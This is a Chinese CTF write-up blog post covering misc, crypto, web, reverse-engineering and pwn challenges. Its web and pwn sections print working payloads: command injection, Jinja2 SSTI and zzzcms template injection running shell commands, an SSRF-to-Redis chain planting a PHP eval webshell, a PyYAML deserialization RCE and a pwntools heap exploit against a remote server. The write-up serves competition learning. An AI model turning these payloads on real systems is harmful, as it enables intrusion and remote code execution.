webak,杂项偷了俩二血最后一个0解题ak,不过思路有了,算出来一个块,剩下的37个算的费劲,就懒狗了,就这样吧
一个人的战斗,不 战 斗 就 无 法 生 存
老惯例纯净版无嘴臭专享pdf
MISC
Charles Sensor
这题其实基本上差不多就要出了,但是对整个区块的换算其实特别麻烦,还是稍微记录下当前的解题情况,等彻底算出来的时候单独开一篇
首先给的压缩包,获得三个文件
第一个是算法的说明,里面记录了数据块以及波形的算法是如何与硬件设备通讯的
第二个无卵用,
第三个则是我们需要进行解密的整体
总之根据pdf内的文章判断其波形的波长,以及数据长度
首先去下面的连接
Downloads for the USBee Mixed PC and USB Oscilloscope, Logic Analyzer, Signal Generator
去下载软件,导入sensor,可以进行波形的查看
总共是非常多的周期,但具体有多少,我没细看,因为根据文档,貌似部分的波形是不被存储记录为数据的
将波形不断放大
是可以看出其是由一对波形来组成一个周期
这里根据pdf来判断,
剩下的就是对所有的波形进行曼彻斯特解码了,同时还要考虑到文档中的数据块和时序表
最后进行解密即可,工作量超级大,但是是一道比较硬核的工控题,有时间在解,希望其他大师傅看到的话可以尝试解一下
签到
base64解密即可
flag{qq_group_826566040}
进制反转
开局一个rar,电脑无法正常解压,或者提示有密码(本质是伪加密,根据题目还是用手机解压好了)
解压后获得一个flag.wav,无法播放,
利用audacity导入原始数据即可进行播放
音乐可以听出是被反转和加速,所以我们进行反转加降速
听歌识曲,找到歌曲名为
包上flag+大写就完事了
到点了
纯傻逼题,脑洞+弱智
首先解压获得三个docx,依次套娃解决1,2,3
打开1
知道了,八位对第二个进行爆破,这就开始
获得密文20201024(程序元节,确实生而为人我很抱歉)
打开后培根密码,解密
打开3.docx,发现有问题
猜测里面藏了不好的东西,将其进行rar解压后,获得4.bmp
bmp常规解密,使用wbs43open以GOODNIGHTSWEETITE密文解密即可
弱智题
带音乐家
拿了个二血,这波啊,这波是半夜偷家
解压后两个文件,通过查看第一个的hex值,发现是midi文件,可以直接播放
第二个是常规rar加密
由于前段时间我也出了个midi题,对midi文件稍微有点敏感,索性就对比了一下常规midi文件
那就疯狂百度,找到了个名为Velato的工具,挺神奇的东西,可以用midi语言进行编程,使用其进行运行
获得输出为Hello,World!
猜测是doc压缩包的密码,进行解密
获得一串密文,根据压缩包描述的空白字段
发现有些端倪,通过nodepad++打开后,导入
猜测是莫斯编码,进行编码
分别获得两种结果
N T O R T L 4 7 6 4 7 8 7 8 7 7 A E S K E Y 9 2 1 9 2 3 2 3 2 2
看起来第二种的AESKEY更加靠谱
进行aes解密,最后获得flag
xixixi
开局一个VHD,利用DG可以直接读取里面内容
总共提取出一个png,四个py文件,其中两个为另外两个py文件的文件名,意义不大
提取出后,对其分析
png无法正常打开,两个python脚本内容分别为
import struct
class FAT32Parser(object):
def __init__(self, vhdFileName):
with open(vhdFileName, 'rb') as f:
self.diskData = f.read()
self.DBR_off = self.GetDBRoff()
self.newData = ''.join(self.diskData)
def GetDBRoff(self): #
DPT_off = 0x1BE
target = self.diskData[DPT_off+8:DPT_off+12] #1C6-1CA
DBR_sector_off, = struct.unpack("<I", target) #小端对齐四位整形
return DBR_sector_off * 512 #数据块*512
def GetFAT1off(self):
target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10] #1CCH-1CEH
FAT1_sector_off, = struct.unpack("<H", target) #小端对其无符号整数
return self.DBR_off + FAT1_sector_off * 512 #0x1B+数据*512
def GetFATlength(self):
target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28] #第三块进行乘 同上
FAT_sectors, = struct.unpack("<I", target)
return FAT_sectors * 512
def GetRootoff(self):
FAT_length = self.GetFATlength() #调用第三块,调用第二块后加上第三块数据
FAT2_off = self.GetFAT1off() + FAT_length #2+3 +3
return FAT2_off + FAT_length #调用2块加3块+3块
def Cluster2FAToff(self, cluster): #二块,+数据群*4
FAT1_off = self.GetFAT1off()
return FAT1_off + cluster * 4
def Cluster2DataOff(self, cluster): #GetRootoff + (数据群-2)*512
rootDir_off = self.GetRootoff()
return rootDir_off + (cluster - 2) * 512
import struct
from xixi import FAT32Parser
from xixixi import Padding, picDepartList
def EncodePieces():
global clusterList
res = []
Range = len(picDepartList) # 58 #猜测是图片本身
# GetRandomClusterList(n) - Generate a random cluster list with length n
clusterList = GetRandomClusterList(Range) #生成长度为58得随机簇
for i in range(Range): #从0开始循环至57
if i != Range - 1: #i如果不等于58-1 进行随机簇打包
newCRC = struct.pack("<I", clusterList[i+1])
plainData = picDepartList[i][:-4] + newCRC #将打包后数值取第i列,取消后四位与打包后随机簇相加
else:
plainData = picDepartList[i] #如果相等,则直接对第i列赋值给plainDATA
# Show the first piece to him, hhh
if i == 0:
newPiece = plainData #如果i为0,则将初值给予
else:
newPiece = '' #后续操作 newpiece为空
key = clusterList[i] & 0xFE #key等于每个随机列与0xFE进行与运算(结果必为二进制)
for j in plainData:
newPiece += chr(ord(j) ^ key) #令j得ascii与key进行异或,结果转换为字符,并存入
# Padding() -- Fill to an integral multiple of 512 with \xFF
res.append(Padding(newPiece)) #用\\xFF填充到512的整数倍 返回res
return res
前者在运算时并未起到任何作用(注释已给出本人分析过程)
后者将整个图片存放成为随机的数据簇,需要用户进行手动推演,最后脚本还将数据簇进行了异或运算,同时还给了第一簇的内容,只要是先运算出数据簇的数量以及第二簇的内容,接下来以此类推再次进行异或即可
根据上述注释的分析流程,进行撰写解题脚本(脚本问题很大,后续看看别的师傅的脚本
import struct
import time
def DecodePieces():
nextKey = 0x3A1E1715
key = 0xFE
file = open('kejin.png','rb')
pics = file.read()
picsList = []
step = 512
for i in range(0,9728,step):
picsList.append(pics[i:i+step])
keyList = [hex(0x3A1E1715)]
for i in picsList[1:]:
key2 = nextKey & key
newPiece = []
for j in i[-4:]:
newPiece.append(j ^ key2)
unpack = struct.unpack('<I',bytes(newPiece))
nextKey = unpack[0]
keyList.append(hex(nextKey))
keyList = keyList[:-1]
picsList2 = [picsList[0]]
for i in range(len(picsList[1::])):
stream = []
key2 = int(keyList[i],16) & key
for o in picsList[1::][i]:
stream.append(o ^ key2)
picsList2.append(bytes(stream))
picBytes = b''.join(picsList2)
file2 = open('kejin2.png','wb')
file2.write(picBytes)
file2.close
DecodePieces()
有一说一皇女真的涩
CRYPTO
simpleRSA
一道上古原题直接套脚本
链接:https://masterpessimistaa.wordpress.com/2017/11/24/asis-finals-ctf-2017-gracias-writeup/
from sage.all import continued_fraction, Integer
from Crypto.Util.number import *
e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
def wiener(e, n):
m = 12345
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
q1 = i.denominator()
for r in range(20):
for s in range(20):
d = r*q1 + s*q0
m1 = pow(c, d, n)
if m1 == m:
return d
q0 = q1
d = wiener(e, n)
print "d: ", d
k = pow(c1, d, n)
K = pow(g, k, a)
m = long_to_bytes(c2 * inverse(K, a) % a)
print m
WEB
一半原题,所以就ak了
Command
?url=127.0.0.1%0Acd%09/etc%0aca\t%09.findfl??/fl??.txt
flaskbot
输入非法数字后会进行报错
会进行部分源码暴露,当我输入nan时,会自动判断永远是我赢
这个时候我所输入的用户名则回显在了输出页面,猜测用户位置存在ssti注入
当我输入{{1+1}}的base64时,回显是2,证明存在cookie注入
命令执行payload即可(过滤了一些字符,进行手动拼接绕过(进行base64加密))
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['o'+'s']['po'+'pen']('ls /').read()}}
flag存在位置于txt内,拼接后即可(同理,base64加密)
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['o'+'s']['po'+'pen']('a=cat;b=/super_secret_fl;c=ag.txt;$a $b$c').read()}}
over
easygogogo
其实我是很想知道,安恒的律师函哪去了,虽然改了一点,这核心还没变,跟这BJD3RD的gob一个玩意
反正sb环境我弹上shell就掉,后来打个非预期就出来了,气死我了
随便登录,与结果无关
存在上传页面,同时存在目录穿越
同时已上传内容会被show显示出来
此处直接目录穿越发包
但是会提示图片不存在
拆解一下发包后的cookie
可发现,是通过cookie来控制图片显示与否,那么推测,如果在新的靶场下,上传一个新文件,进行cookie替换,即可直接读取flag的内容。
首先在新容器下,任意上传一个文件
将此处的cookie替换为上次flag路径的cookie
访问show页面,即可获得flag的base64,解密即可
easyzzz
进去是一个zzzcms的系统,此题目与之前CBCTF的dangerous-function属于一道题,仅仅加了一个过滤(感谢鹣鹣的提示)
链接:第三届CBCTF官方WP – 安全客,安全资讯平台 (anquanke.com)
利用文章中的paylaod在搜索框进行攻击
会被ban掉,推测过滤了可疑字符if
再次进行构筑
{{leftstr:isf,1}{leftstr:fs,1}:var_dump(((strrev(stnetnoc_teg_el{leftstr:isf,1}{leftstr:fs,1})))((strrev(edoced_46esab))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
doyouknowssrf
好家伙,GACTF2020的原题搬过来,属实嗯,不写了,之前写过了,就放个exp得了
import urllib.parse
import requests
target= "http://eci-2ze4i20uld1wzkdg9emq.cloudeci1.ichunqiu.com/"
payload = ''' HTTP/1.1
config set dir /var/www/html/
config set dbfilename c.php
set x '<?php eval($_POST['cmd']);?>'
save
foo: '''
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://abc@127.0.0.1:5000%20@abc" + payload
print(payload)
profile system
开局一个上传
猜测考点是yaml反序列化之类的玩意,随便传了一个,发现下载存在目录穿越,可以把源码下载下来
from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
session['priviledge'] = 'guest'
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except:
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template("view.html",user = info['user'])
if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)
对源码进行审计
需要进行一个cookie伪造,将priviledge伪造为elite
以及此处存在的正则,需要绕过一下才可以进行命令执行
那么思路就很清晰了,上传一个yml进行执行,将flag内容读回到一个任意的上传位置,经过测试,发现上传目录固定为
/uploads/4e5b09b2149f7619cca155c8bd6d8ee5/
通过命令执行,发现flag存储在/readflag处,但是为了读出来,直接利用
__import__('os').system('/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/2')
此处为了绕过正则,将其全部转换为16进制即可
最终yml文件内容
user: Administrator
A: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x31\x27\x29"
上传后抓包,将cookie进行伪造,源代码给出密钥,直接伪造即可
最后访问对应目录后,放包,获得flag
REVERSE
帅宝,依旧是我的超人
apk1
- JNI_ONLoad中注册了一个native函数,也就是check函数不是之前那个
- 下面首先检测长度为22,然后第5个字符为{,结尾处有最后一个字符为}
- 然后是中间一系列变换
- 关键函数
- JNIOnLoad
__int64 __fastcall JNI_OnLoad(JavaVM *a1)
{
unsigned __int64 v1; // x20
JNIEnv *result; // x0
__int64 v3; // x19
__int64 v4; // x0
JNIEnv *v5; // [xsp+0h] [xbp-40h]
char v6; // [xsp+8h] [xbp-38h]
__int64 v7; // [xsp+28h] [xbp-18h]
v1 = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
v7 = *(_QWORD *)(v1 + 40);
result = (JNIEnv *)((__int64 (*)(void))(*a1)->GetEnv)();
if ( !(_DWORD)result )
{
v3 = (__int64)v5;
sub_D5F0("Y29tL3Rlc3QvdGhpcmQvTWFpbkFjdGl2aXR5", &v6);
v4 = (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)v3 + 48LL))(v3, &v6);
result = (JNIEnv *)((__int64 (__fastcall *)(JNIEnv *, __int64, char **, signed __int64))(*v5)->RegisterNatives)(
v5,
v4,
off_30018,
1LL);
}
if ( *(_QWORD *)(v1 + 40) == v7 )
result = (JNIEnv *)(&loc_10004 + 2);
return (__int64)result;
}
- sub_D808 将输入的hex转化为数字形式,注意输入必须是大写
- sub_DB0C 输入前4个字节作为密钥加密5-21个字节,根据flag形式,前4个字节为flag
- sub_D8B0 将字节转化为hex形式,大写
- sub_E5D0 des密钥初始化 sub_E748 DES加密函数
re1
- IDA打开,验证falg以及{},然后是一个超大的检测函数
- 这里本来可以angr一把梭,可是自己太菜有的东西搞不定
- 但是发现检测函数都是按字节处理的,最后是按字节验证。所以如果没有其它因素影响,当前字节正确时要比不正确时多执行两条指令,尝试采用插桩方式按字节爆破flag
插桩函数(只需要打印基本块数和指令数即可)
/*! @file
* This is an example of the PIN tool that demonstrates some basic PIN APIs
* and could serve as the starting point for developing your first PIN tool
*/
#include "pin.H"
#include <iostream>
#include <fstream>
using std::cerr;
using std::string;
using std::endl;
/* ================================================================== */
// Global variables
/* ================================================================== */
UINT64 insCount = 0; //number of dynamically executed instructions
UINT64 bblCount = 0; //number of dynamically executed basic blocks
UINT64 threadCount = 0; //total number of threads, including main thread
std::ostream * out = &cerr;
/* ===================================================================== */
// Command line switches
/* ===================================================================== */
KNOB<string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool",
"o", "", "specify file name for MyPinTool output");
KNOB<BOOL> KnobCount(KNOB_MODE_WRITEONCE, "pintool",
"count", "1", "count instructions, basic blocks and threads in the application");
INT32 Usage()
{
cerr << "This tool prints out the number of dynamically executed " << endl <<
"instructions, basic blocks and threads in the application." << endl << endl;
cerr << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
VOID CountBbl(UINT32 numInstInBbl)
{
bblCount++;
insCount += numInstInBbl;
}
VOID Trace(TRACE trace, VOID *v)
{
// Visit every basic block in the trace
for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
{
// Insert a call to CountBbl() before every basic bloc, passing the number of instructions
BBL_InsertCall(bbl, IPOINT_BEFORE, (AFUNPTR)CountBbl, IARG_UINT32, BBL_NumIns(bbl), IARG_END);
}
}
VOID ThreadStart(THREADID threadIndex, CONTEXT *ctxt, INT32 flags, VOID *v)
{
threadCount++;
}
VOID Fini(INT32 code, VOID *v)
{
// 打印基本块和指令数
std::cout<<"bblCount"<<bblCount<<std::endl;
std::cout<<"insCount"<<insCount<<std::endl;
}
int main(int argc, char *argv[])
{
if( PIN_Init(argc,argv) )
{
return Usage();
}
string fileName = KnobOutputFile.Value();
if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}
if (KnobCount)
{
// Register function to be called to instrument traces
TRACE_AddInstrumentFunction(Trace, 0);
PIN_AddThreadStartFunction(ThreadStart, 0);
// Register function to be called when the application exits
PIN_AddFiniFunction(Fini, 0);
}
cerr << "===============================================" << endl;
cerr << "This application is instrumented by MyPinTool" << endl;
if (!KnobOutputFile.Value().empty())
{
cerr << "See file " << KnobOutputFile.Value() << " for analysis results" << endl;
}
cerr << "===============================================" << endl;
PIN_StartProgram();
return 0;
}
爆破程序
#include <stdio.h>
#include <stdlib.h>
#include <gmp.h>
#include <sys/mman.h>
#include <memory.h>
#include <inttypes.h>
#include <string.h>
char flag[] = "flag{39a0ff847f1f4404aa6c7742d20363e9}";
uint64_t getBblCount(char *input){
uint64_t res=0;
size_t i=0;
while(input[i]<48||input[i]>58)i++;
while(input[i]){
res=res*10+input[i]-48;
i++;
}
return res;
}
void check(){
FILE *f;
char set[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz+/";
size_t scope = strlen(set);
size_t len = strlen(flag);
char cmd[1024] = "./pin -t MyPinTool.so -- ./main";
sprintf(cmd,"echo -n %s | ./pin -t MyPinTool.so -- ./main",flag);
char buf1[256];
char buf2[256];
uint64_t bblCount,lastBbl,insCount,lastIns;
for(size_t i=5;i<len-1;i++){
flag[i] = ' ';// 我赌flag里面没有空格,所以当前字节为空格时一定是错误的,基本块数和指令数是少的
sprintf(cmd,"echo -n %s | ./pin -t MyPinTool.so -- ./main",flag);
f = popen(cmd,"r");
fscanf(f,"%s",buf1);
fscanf(f,"%s",buf2);
lastBbl = getBblCount(buf1);
lastIns = getBblCount(buf2);
pclose(f);
for(uint8_t j=0;j<scope;j++){
flag[i]=set[j];
sprintf(cmd,"echo -n \'%s\' | ./pin -t MyPinTool.so -- ./main",flag);
f = popen(cmd,"r");
fscanf(f,"%s",buf1);
fscanf(f,"%s",buf2);
printf("%s %s\n",buf1,buf2);
bblCount = getBblCount(buf1);
insCount = getBblCount(buf2);
printf("%lld %lld %lld %lld\n",bblCount,lastBbl,insCount,lastIns);
// 观察程序就可以看到每验证正确一字节增加一个基本块和两条指令
if(bblCount>lastBbl&&insCount>lastIns+1)break;
pclose(f);
}
printf("%s\n",flag);
}
printf("%s\n",flag);
}
int main(){
check();
return 0;
}
PWN
Beauty_Of_ChangChun
开局mmap了一块内存
泄漏地址
然后new中使用的是calloc
5还有一个malloc
通过malloc和calloc可以调整tcache
在unsorted bin中使用循环补上\x00后泄漏出libc地址
同时可以leak出堆地址
然后打mallochook即可
exp:
from pwn import*
context.log_level = 'debug'
local = False
def menu(ch):
p.sendlineafter('Enjoy scenery',str(ch))
def new(size):
menu(1)
p.sendlineafter('size:',str(size))
def free(index):
menu(2)
p.sendlineafter('idx:',str(index))
def edit(index,content):
menu(3)
p.sendlineafter('idx:',str(index))
p.sendafter('chat:',content)
def show(index):
menu(4)
p.sendlineafter('idx:',str(index))
if local:
p = process('./pwn')
else:
p = remote("112.126.71.170",43652)
libc= ELF('./libc-2.27.so')
p.recvuntil('A gift from ChangChun People\n')
target = int(p.recv(12),16)
new(0x100)
new(0x90)
free(1)
new(0x100)
new(0x90)
for i in range(8):
edit(0,'\x00'*0x10)
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x70 - libc.sym['__malloc_hook']
log.info('LIBC:\t' + hex(libc_base))
free(1)
show(1)
p.recvuntil('see\n')
heap = u64(p.recv(6).ljust(8,'\x00'))
menu(666)
edit(1,p64(heap) + p64(target - 0x10))
menu(5)
p.sendline(p64(libc_base + libc.sym['__malloc_hook'] + 0x10 + 352) + p64(heap- 0x250+0x400))
free(2)
new(0xFF)
menu(5)
p.sendline('1')
p.interactive()
最后包上flag即可
- 最新
- 最热
只看作者商业转载请联系作者获得授权,非商业转载请注明出处。
For commercial use, please contact the author for authorization. For non-commercial use, please indicate the source.
协议(License):署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
作者(Author):Snowywar
链接(URL):http://106.54.87.195/wordpress/index.php/2020/11/22/xywriteup/
来源(Source):魔法少女雪殇
师傅有没有想过批量解析的时候怎么读取usbeecomp,剩下的就是解码算法啦~